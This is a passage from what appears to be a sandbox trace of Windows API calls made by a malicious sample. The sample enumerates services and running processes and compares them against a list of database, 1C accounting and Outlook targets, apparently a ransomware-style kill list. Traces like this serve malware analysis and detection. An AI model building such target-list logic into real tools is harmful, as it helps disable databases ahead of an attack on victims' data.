(lpString="DcomLaunch") returned 10 [0252.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.994] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0252.994] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0252.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0252.994] lstrlenW (lpString="Dhcp") returned 4 [0252.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0252.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0252.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0252.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0252.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0252.995] lstrlenW (lpString="Dnscache") returned 8 [0252.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0252.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0252.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0252.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0252.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0252.995] lstrlenW (lpString="DPS") returned 3 [0252.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0252.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0252.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0252.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0252.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0252.995] lstrlenW (lpString="eventlog") returned 8 [0252.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0252.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0252.995] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0252.995] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0252.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0252.995] lstrlenW (lpString="EventSystem") returned 11 [0252.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0252.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0252.995] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0252.995] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0252.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0252.995] lstrlenW (lpString="gpsvc") returned 5 [0252.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0252.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0252.995] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0252.995] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0252.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0252.995] lstrlenW (lpString="LanmanWorkstation") returned 17 [0252.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.995] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0252.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0252.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0252.996] lstrlenW (lpString="lmhosts") returned 7 [0252.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0252.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0252.996] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0252.996] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0252.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0252.996] lstrlenW (lpString="MMCSS") returned 5 [0252.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0252.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0252.996] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0252.996] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0252.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0252.996] lstrlenW (lpString="MpsSvc") returned 6 [0252.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0252.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0252.996] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0252.996] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0252.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0252.996] lstrlenW (lpString="NlaSvc") returned 6 [0252.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0252.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0252.996] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0252.996] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0252.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0252.996] lstrlenW (lpString="nsi") returned 3 [0252.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0252.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0252.996] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0252.996] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0252.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0252.996] lstrlenW (lpString="PcaSvc") returned 6 [0252.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0252.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0252.996] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0252.996] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0252.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0252.997] lstrlenW (lpString="PlugPlay") returned 8 [0252.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0252.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0252.997] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0252.997] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0252.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0252.997] lstrlenW (lpString="Power") returned 5 [0252.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0252.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0252.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0252.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0252.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0252.997] lstrlenW (lpString="ProfSvc") returned 7 [0252.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0252.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0252.997] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0252.997] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0252.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0252.997] lstrlenW (lpString="RpcEptMapper") returned 12 [0252.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.997] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0252.997] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0252.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0252.997] lstrlenW (lpString="RpcSs") returned 5 [0252.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0252.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0252.997] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0252.997] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0252.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0252.997] lstrlenW (lpString="SamSs") returned 5 [0252.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0252.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0252.997] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0252.997] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0252.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0252.997] lstrlenW (lpString="Schedule") returned 8 [0252.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0252.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0252.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0252.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0252.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0252.998] lstrlenW (lpString="SENS") returned 4 [0252.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0252.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0252.998] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0252.998] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0252.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0252.998] lstrlenW (lpString="ShellHWDetection") returned 16 [0252.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.998] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0252.998] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0252.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0252.998] lstrlenW (lpString="Spooler") returned 7 [0252.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0252.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0252.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0252.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0252.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0252.998] lstrlenW (lpString="SysMain") returned 7 [0252.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0252.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0252.998] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0252.998] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0252.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0252.998] lstrlenW (lpString="Themes") returned 6 [0252.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0252.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0252.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0252.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0252.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0252.998] lstrlenW (lpString="TrkWks") returned 6 [0252.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0252.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0252.998] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0252.998] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0252.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0252.999] lstrlenW (lpString="UxSms") returned 5 [0252.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0252.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0252.999] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0252.999] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0252.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0252.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5a9210 | out: hHeap=0x530000) returned 1 [0252.999] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0253.000] Process32FirstW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.001] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.001] lstrlenW (lpString="System") returned 6 [0253.001] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0253.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0253.001] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0253.001] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0253.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0253.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0253.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0253.001] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.001] lstrlenW (lpString="smss.exe") returned 8 [0253.001] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0253.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0253.001] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0253.001] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0253.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0253.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0253.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0253.001] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.002] lstrlenW (lpString="csrss.exe") returned 9 [0253.002] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0253.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0253.002] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0253.002] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0253.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0253.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0253.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0253.002] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.002] lstrlenW (lpString="wininit.exe") returned 11 [0253.002] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0253.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0253.002] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0253.002] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0253.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0253.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0253.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0253.002] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.003] lstrlenW (lpString="csrss.exe") returned 9 [0253.003] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0253.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0253.003] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0253.003] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0253.003] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0253.003] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0253.003] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0253.003] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.003] lstrlenW (lpString="winlogon.exe") returned 12 [0253.003] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0253.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0253.003] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0253.003] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0253.003] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0253.003] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0253.003] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0253.003] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.004] lstrlenW (lpString="services.exe") returned 12 [0253.004] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0253.004] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0253.004] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0253.004] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0253.004] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0253.004] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0253.004] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0253.004] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.004] lstrlenW (lpString="lsass.exe") returned 9 [0253.004] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0253.004] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0253.004] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0253.004] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0253.004] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0253.004] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0253.004] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0253.004] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0253.004] lstrlenW (lpString="lsm.exe") returned 7 [0253.005] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0253.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0253.005] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0253.005] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0253.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0253.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0253.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0253.005] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.005] lstrlenW (lpString="svchost.exe") returned 11 [0253.005] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0253.005] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.005] lstrlenW (lpString="svchost.exe") returned 11 [0253.005] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0253.005] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0253.006] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.006] lstrlenW (lpString="svchost.exe") returned 11 [0253.006] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0253.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0253.006] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.006] lstrlenW (lpString="svchost.exe") returned 11 [0253.007] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.007] lstrlenW (lpString="svchost.exe") returned 11 [0253.007] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.007] lstrlenW (lpString="audiodg.exe") returned 11 [0253.007] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.007] lstrlenW (lpString="svchost.exe") returned 11 [0253.008] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.008] lstrlenW (lpString="svchost.exe") returned 11 [0253.008] Process32NextW (in: hSnapshot=0x1bc, lppe=0x221fd34 | out: 